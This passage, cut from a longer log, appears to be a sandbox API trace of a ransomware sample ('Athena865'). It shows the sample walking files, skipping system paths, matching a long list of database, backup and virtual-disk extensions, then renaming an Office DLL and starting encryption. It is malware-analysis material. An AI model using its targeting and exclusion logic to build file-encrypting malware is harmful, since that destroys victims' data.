Flags=0x8, Size=0x104) returned 0x530d20 [0084.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0084.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0084.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0084.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0084.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0084.211] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0084.213] CloseHandle (hObject=0x17c) returned 1 [0084.213] CloseHandle (hObject=0x154) returned 1 [0084.213] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0084.213] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0084.213] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0084.214] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6d0aad90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x68368, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PSTPRX32.DLL", cAlternateFileName="")) returned 1 [0084.214] lstrcmpiW (lpString1="PSTPRX32.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0084.214] lstrcmpiW (lpString1="PSTPRX32.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0084.214] lstrcmpiW (lpString1="PSTPRX32.DLL", lpString2=".") returned 1 [0084.214] lstrcmpiW (lpString1="PSTPRX32.DLL", lpString2="..") returned 1 [0084.214] lstrcmpiW (lpString1="PSTPRX32.DLL", lpString2="windows") returned -1 [0084.214] lstrcmpiW (lpString1="PSTPRX32.DLL", lpString2="bootmgr") returned 1 [0084.214] lstrcmpiW (lpString1="PSTPRX32.DLL", lpString2="temp") returned -1 [0084.214] lstrcmpiW (lpString1="PSTPRX32.DLL", lpString2="pagefile.sys") returned 1 [0084.214] lstrcmpiW (lpString1="PSTPRX32.DLL", lpString2="boot") returned 1 [0084.214] lstrcmpiW (lpString1="PSTPRX32.DLL", lpString2="ids.txt") returned 1 [0084.214] lstrcmpiW (lpString1="PSTPRX32.DLL", lpString2="ntuser.dat") returned 1 [0084.214] lstrcmpiW (lpString1="PSTPRX32.DLL", lpString2="perflogs") returned 1 [0084.214] lstrcmpiW (lpString1="PSTPRX32.DLL", lpString2="MSBuild") returned 1 [0084.214] lstrlenW (lpString="PSTPRX32.DLL") returned 12 [0084.214] lstrcpyW (in: lpString1=0x241e89e, lpString2="PSTPRX32.DLL" | out: lpString1="PSTPRX32.DLL") returned="PSTPRX32.DLL" [0084.214] lstrlenW (lpString="PSTPRX32.DLL") returned 12 [0084.214] lstrlenW (lpString="Athena865") returned 9 [0084.214] lstrcmpiW (lpString1="PRX32.DLL", lpString2="Athena865") returned 1 [0084.214] lstrlenW (lpString=".dll") returned 4 [0084.214] lstrcmpiW (lpString1="PSTPRX32.DLL", lpString2=".dll") returned 1 [0084.215] lstrlenW (lpString=".lnk") returned 4 [0084.215] lstrcmpiW (lpString1="PSTPRX32.DLL", lpString2=".lnk") returned 1 [0084.215] lstrlenW (lpString=".ini") returned 4 [0084.215] lstrcmpiW (lpString1="PSTPRX32.DLL", lpString2=".ini") returned 1 [0084.215] lstrlenW (lpString=".sys") returned 4 [0084.215] lstrcmpiW (lpString1="PSTPRX32.DLL", lpString2=".sys") returned 1 [0084.215] lstrlenW (lpString="PSTPRX32.DLL") returned 12 [0084.215] lstrlenW (lpString="bak") returned 3 [0084.215] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0084.215] lstrlenW (lpString="ba_") returned 3 [0084.215] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0084.215] lstrlenW (lpString="dbb") returned 3 [0084.215] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0084.215] lstrlenW (lpString="vmdk") returned 4 [0084.215] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0084.215] lstrlenW (lpString="rar") returned 3 [0084.215] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0084.215] lstrlenW (lpString="zip") returned 3 [0084.215] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0084.215] lstrlenW (lpString="tgz") returned 3 [0084.215] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0084.215] lstrlenW (lpString="vbox") returned 4 [0084.215] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0084.215] lstrlenW (lpString="vdi") returned 3 [0084.215] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0084.215] lstrlenW (lpString="vhd") returned 3 [0084.215] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0084.215] lstrlenW (lpString="vhdx") returned 4 [0084.215] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0084.215] lstrlenW (lpString="avhd") returned 4 [0084.215] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0084.216] lstrlenW (lpString="db") returned 2 [0084.216] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0084.216] lstrlenW (lpString="db2") returned 3 [0084.216] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0084.216] lstrlenW (lpString="db3") returned 3 [0084.216] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0084.216] lstrlenW (lpString="dbf") returned 3 [0084.216] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0084.216] lstrlenW (lpString="mdf") returned 3 [0084.216] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0084.216] lstrlenW (lpString="mdb") returned 3 [0084.216] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0084.216] lstrlenW (lpString="sql") returned 3 [0084.216] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0084.216] lstrlenW (lpString="sqlite") returned 6 [0084.216] lstrcmpiW (lpString1="32.DLL", lpString2="sqlite") returned -1 [0084.216] lstrlenW (lpString="sqlite3") returned 7 [0084.216] lstrcmpiW (lpString1="X32.DLL", lpString2="sqlite3") returned 1 [0084.216] lstrlenW (lpString="sqlitedb") returned 8 [0084.216] lstrcmpiW (lpString1="RX32.DLL", lpString2="sqlitedb") returned -1 [0084.216] lstrlenW (lpString="xml") returned 3 [0084.216] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0084.216] lstrlenW (lpString="$er") returned 3 [0084.216] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0084.216] lstrlenW (lpString="4dd") returned 3 [0084.216] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0084.216] lstrlenW (lpString="4dl") returned 3 [0084.216] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0084.216] lstrlenW (lpString="^^^") returned 3 [0084.216] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0084.216] lstrlenW (lpString="abs") returned 3 [0084.217] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0084.217] lstrlenW (lpString="abx") returned 3 [0084.217] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0084.217] lstrlenW (lpString="accdb") returned 5 [0084.217] lstrcmpiW (lpString1="2.DLL", lpString2="accdb") returned -1 [0084.217] lstrlenW (lpString="accdc") returned 5 [0084.217] lstrcmpiW (lpString1="2.DLL", lpString2="accdc") returned -1 [0084.217] lstrlenW (lpString="accde") returned 5 [0084.217] lstrcmpiW (lpString1="2.DLL", lpString2="accde") returned -1 [0084.217] lstrlenW (lpString="accdr") returned 5 [0084.217] lstrcmpiW (lpString1="2.DLL", lpString2="accdr") returned -1 [0084.217] lstrlenW (lpString="accdt") returned 5 [0084.217] lstrcmpiW (lpString1="2.DLL", lpString2="accdt") returned -1 [0084.217] lstrlenW (lpString="accdw") returned 5 [0084.217] lstrcmpiW (lpString1="2.DLL", lpString2="accdw") returned -1 [0084.217] lstrlenW (lpString="accft") returned 5 [0084.217] lstrcmpiW (lpString1="2.DLL", lpString2="accft") returned -1 [0084.217] lstrlenW (lpString="adb") returned 3 [0084.217] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.217] lstrlenW (lpString="adb") returned 3 [0084.217] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0084.217] lstrlenW (lpString="ade") returned 3 [0084.217] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0084.217] lstrlenW (lpString="adf") returned 3 [0084.217] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0084.217] lstrlenW (lpString="adn") returned 3 [0084.217] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0084.217] lstrlenW (lpString="adp") returned 3 [0084.217] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0084.217] lstrlenW (lpString="alf") returned 3 [0084.217] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0084.217] lstrlenW (lpString="ask") returned 3 [0084.218] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0084.218] lstrlenW (lpString="btr") returned 3 [0084.218] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0084.218] lstrlenW (lpString="cat") returned 3 [0084.218] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0084.218] lstrlenW (lpString="cdb") returned 3 [0084.218] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0084.218] lstrlenW (lpString="ckp") returned 3 [0084.218] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0084.218] lstrlenW (lpString="cma") returned 3 [0084.218] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0084.218] lstrlenW (lpString="cpd") returned 3 [0084.218] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0084.218] lstrlenW (lpString="dacpac") returned 6 [0084.218] lstrcmpiW (lpString1="32.DLL", lpString2="dacpac") returned -1 [0084.218] lstrlenW (lpString="dad") returned 3 [0084.218] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0084.218] lstrlenW (lpString="dadiagrams") returned 10 [0084.218] lstrcmpiW (lpString1="TPRX32.DLL", lpString2="dadiagrams") returned 1 [0084.218] lstrlenW (lpString="daschema") returned 8 [0084.218] lstrcmpiW (lpString1="RX32.DLL", lpString2="daschema") returned 1 [0084.218] lstrlenW (lpString="db-journal") returned 10 [0084.218] lstrcmpiW (lpString1="TPRX32.DLL", lpString2="db-journal") returned 1 [0084.218] lstrlenW (lpString="db-shm") returned 6 [0084.218] lstrcmpiW (lpString1="32.DLL", lpString2="db-shm") returned -1 [0084.218] lstrlenW (lpString="db-wal") returned 6 [0084.218] lstrcmpiW (lpString1="32.DLL", lpString2="db-wal") returned -1 [0084.218] lstrlenW (lpString="dbc") returned 3 [0084.218] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0084.218] lstrlenW (lpString="dbs") returned 3 [0084.218] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0084.219] lstrlenW (lpString="dbt") returned 3 [0084.219] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0084.219] lstrlenW (lpString="dbv") returned 3 [0084.219] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0084.219] lstrlenW (lpString="dbx") returned 3 [0084.219] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0084.219] lstrlenW (lpString="dcb") returned 3 [0084.219] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0084.219] lstrlenW (lpString="dct") returned 3 [0084.219] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0084.219] lstrlenW (lpString="dcx") returned 3 [0084.219] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0084.219] lstrlenW (lpString="ddl") returned 3 [0084.219] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0084.219] lstrlenW (lpString="dlis") returned 4 [0084.219] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0084.219] lstrlenW (lpString="dp1") returned 3 [0084.219] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0084.219] lstrlenW (lpString="dqy") returned 3 [0084.219] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0084.219] lstrlenW (lpString="dsk") returned 3 [0084.219] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0084.219] lstrlenW (lpString="dsn") returned 3 [0084.219] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0084.219] lstrlenW (lpString="dtsx") returned 4 [0084.219] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0084.219] lstrlenW (lpString="dxl") returned 3 [0084.219] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0084.219] lstrlenW (lpString="eco") returned 3 [0084.219] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0084.219] lstrlenW (lpString="ecx") returned 3 [0084.219] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0084.220] lstrlenW (lpString="edb") returned 3 [0084.220] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0084.220] lstrlenW (lpString="epim") returned 4 [0084.220] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0084.220] lstrlenW (lpString="fcd") returned 3 [0084.220] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0084.220] lstrlenW (lpString="fdb") returned 3 [0084.220] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0084.220] lstrlenW (lpString="fic") returned 3 [0084.220] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0084.220] lstrlenW (lpString="flexolibrary") returned 12 [0084.220] lstrlenW (lpString="fm5") returned 3 [0084.220] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0084.220] lstrlenW (lpString="fmp") returned 3 [0084.220] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0084.220] lstrlenW (lpString="fmp12") returned 5 [0084.220] lstrcmpiW (lpString1="2.DLL", lpString2="fmp12") returned -1 [0084.220] lstrlenW (lpString="fmpsl") returned 5 [0084.220] lstrcmpiW (lpString1="2.DLL", lpString2="fmpsl") returned -1 [0084.220] lstrlenW (lpString="fol") returned 3 [0084.220] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0084.220] lstrlenW (lpString="fp3") returned 3 [0084.220] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0084.220] lstrlenW (lpString="fp4") returned 3 [0084.220] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0084.220] lstrlenW (lpString="fp5") returned 3 [0084.220] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0084.220] lstrlenW (lpString="fp7") returned 3 [0084.220] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0084.220] lstrlenW (lpString="fpt") returned 3 [0084.220] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0084.221] lstrlenW (lpString="frm") returned 3 [0084.221] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0084.221] lstrlenW (lpString="gdb") returned 3 [0084.221] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0084.221] lstrlenW (lpString="gdb") returned 3 [0084.221] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0084.221] lstrlenW (lpString="grdb") returned 4 [0084.221] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0084.221] lstrlenW (lpString="gwi") returned 3 [0084.221] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0084.221] lstrlenW (lpString="hdb") returned 3 [0084.221] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0084.221] lstrlenW (lpString="his") returned 3 [0084.221] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0084.221] lstrlenW (lpString="ib") returned 2 [0084.221] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0084.221] lstrlenW (lpString="idb") returned 3 [0084.221] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0084.221] lstrlenW (lpString="ihx") returned 3 [0084.221] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0084.221] lstrlenW (lpString="itdb") returned 4 [0084.221] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0084.221] lstrlenW (lpString="itw") returned 3 [0084.221] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0084.221] lstrlenW (lpString="jet") returned 3 [0084.221] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0084.221] lstrlenW (lpString="jtx") returned 3 [0084.221] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0084.221] lstrlenW (lpString="kdb") returned 3 [0084.221] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0084.221] lstrlenW (lpString="kexi") returned 4 [0084.221] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0084.222] lstrlenW (lpString="kexic") returned 5 [0084.222] lstrcmpiW (lpString1="2.DLL", lpString2="kexic") returned -1 [0084.222] lstrlenW (lpString="kexis") returned 5 [0084.222] lstrcmpiW (lpString1="2.DLL", lpString2="kexis") returned -1 [0084.222] lstrlenW (lpString="lgc") returned 3 [0084.222] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0084.222] lstrlenW (lpString="lwx") returned 3 [0084.222] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0084.222] lstrlenW (lpString="maf") returned 3 [0084.222] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0084.222] lstrlenW (lpString="maq") returned 3 [0084.222] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0084.222] lstrlenW (lpString="mar") returned 3 [0084.222] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0084.222] lstrlenW (lpString="marshal") returned 7 [0084.222] lstrcmpiW (lpString1="X32.DLL", lpString2="marshal") returned 1 [0084.222] lstrlenW (lpString="mas") returned 3 [0084.222] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0084.222] lstrlenW (lpString="mav") returned 3 [0084.222] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0084.222] lstrlenW (lpString="maw") returned 3 [0084.222] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0084.222] lstrlenW (lpString="mdbhtml") returned 7 [0084.222] lstrcmpiW (lpString1="X32.DLL", lpString2="mdbhtml") returned 1 [0084.222] lstrlenW (lpString="mdn") returned 3 [0084.222] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0084.222] lstrlenW (lpString="mdt") returned 3 [0084.222] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0084.222] lstrlenW (lpString="mfd") returned 3 [0084.222] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0084.222] lstrlenW (lpString="mpd") returned 3 [0084.222] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0084.223] lstrlenW (lpString="mrg") returned 3 [0084.223] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0084.223] lstrlenW (lpString="mud") returned 3 [0084.223] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0084.223] lstrlenW (lpString="mwb") returned 3 [0084.223] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0084.223] lstrlenW (lpString="myd") returned 3 [0084.223] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0084.223] lstrlenW (lpString="ndf") returned 3 [0084.223] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0084.223] lstrlenW (lpString="nnt") returned 3 [0084.223] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0084.223] lstrlenW (lpString="nrmlib") returned 6 [0084.223] lstrcmpiW (lpString1="32.DLL", lpString2="nrmlib") returned -1 [0084.223] lstrlenW (lpString="ns2") returned 3 [0084.223] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0084.223] lstrlenW (lpString="ns3") returned 3 [0084.223] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0084.223] lstrlenW (lpString="ns4") returned 3 [0084.223] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0084.223] lstrlenW (lpString="nsf") returned 3 [0084.223] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0084.223] lstrlenW (lpString="nv") returned 2 [0084.223] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0084.223] lstrlenW (lpString="nv2") returned 3 [0084.223] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0084.223] lstrlenW (lpString="nwdb") returned 4 [0084.223] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0084.223] lstrlenW (lpString="nyf") returned 3 [0084.223] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0084.223] lstrlenW (lpString="odb") returned 3 [0084.224] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0084.224] lstrlenW (lpString="odb") returned 3 [0084.224] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0084.224] lstrlenW (lpString="oqy") returned 3 [0084.224] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0084.224] lstrlenW (lpString="ora") returned 3 [0084.224] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0084.224] lstrlenW (lpString="orx") returned 3 [0084.224] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0084.224] lstrlenW (lpString="owc") returned 3 [0084.224] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0084.224] lstrlenW (lpString="p96") returned 3 [0084.224] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0084.224] lstrlenW (lpString="p97") returned 3 [0084.224] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0084.224] lstrlenW (lpString="pan") returned 3 [0084.224] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0084.224] lstrlenW (lpString="pdb") returned 3 [0084.224] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0084.224] lstrlenW (lpString="pdm") returned 3 [0084.224] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0084.224] lstrlenW (lpString="pnz") returned 3 [0084.224] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0084.224] lstrlenW (lpString="qry") returned 3 [0084.224] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0084.224] lstrlenW (lpString="qvd") returned 3 [0084.224] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0084.224] lstrlenW (lpString="rbf") returned 3 [0084.224] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0084.224] lstrlenW (lpString="rctd") returned 4 [0084.224] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0084.224] lstrlenW (lpString="rod") returned 3 [0084.225] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0084.225] lstrlenW (lpString="rodx") returned 4 [0084.225] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0084.225] lstrlenW (lpString="rpd") returned 3 [0084.225] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0084.225] lstrlenW (lpString="rsd") returned 3 [0084.225] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0084.225] lstrlenW (lpString="sas7bdat") returned 8 [0084.225] lstrcmpiW (lpString1="RX32.DLL", lpString2="sas7bdat") returned -1 [0084.225] lstrlenW (lpString="sbf") returned 3 [0084.225] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0084.225] lstrlenW (lpString="scx") returned 3 [0084.225] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0084.225] lstrlenW (lpString="sdb") returned 3 [0084.225] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0084.225] lstrlenW (lpString="sdc") returned 3 [0084.225] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0084.225] lstrlenW (lpString="sdf") returned 3 [0084.225] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0084.225] lstrlenW (lpString="sis") returned 3 [0084.225] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0084.225] lstrlenW (lpString="spq") returned 3 [0084.225] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0084.225] lstrlenW (lpString="te") returned 2 [0084.225] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0084.225] lstrlenW (lpString="teacher") returned 7 [0084.225] lstrcmpiW (lpString1="X32.DLL", lpString2="teacher") returned 1 [0084.225] lstrlenW (lpString="tmd") returned 3 [0084.225] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0084.225] lstrlenW (lpString="tps") returned 3 [0084.225] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0084.225] lstrlenW (lpString="trc") returned 3 [0084.225] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0084.226] lstrlenW (lpString="trc") returned 3 [0084.226] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0084.226] lstrlenW (lpString="trm") returned 3 [0084.226] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0084.226] lstrlenW (lpString="udb") returned 3 [0084.226] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0084.226] lstrlenW (lpString="udl") returned 3 [0084.226] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0084.226] lstrlenW (lpString="usr") returned 3 [0084.226] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0084.226] lstrlenW (lpString="v12") returned 3 [0084.226] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0084.226] lstrlenW (lpString="vis") returned 3 [0084.226] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0084.226] lstrlenW (lpString="vpd") returned 3 [0084.226] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0084.226] lstrlenW (lpString="vvv") returned 3 [0084.226] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0084.226] lstrlenW (lpString="wdb") returned 3 [0084.226] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0084.226] lstrlenW (lpString="wmdb") returned 4 [0084.226] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0084.226] lstrlenW (lpString="wrk") returned 3 [0084.226] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0084.226] lstrlenW (lpString="xdb") returned 3 [0084.227] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0084.229] lstrlenW (lpString="xld") returned 3 [0084.230] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0084.230] lstrlenW (lpString="xmlff") returned 5 [0084.230] lstrcmpiW (lpString1="2.DLL", lpString2="xmlff") returned -1 [0084.230] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PSTPRX32.DLL.Athena865") returned 65 [0084.231] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PSTPRX32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\pstprx32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PSTPRX32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\pstprx32.dll.athena865"), dwFlags=0x1) returned 1 [0084.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PSTPRX32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\pstprx32.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0084.232] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=426856) returned 1 [0084.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0084.233] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0084.233] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0084.233] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0084.233] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0084.233] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0084.234] 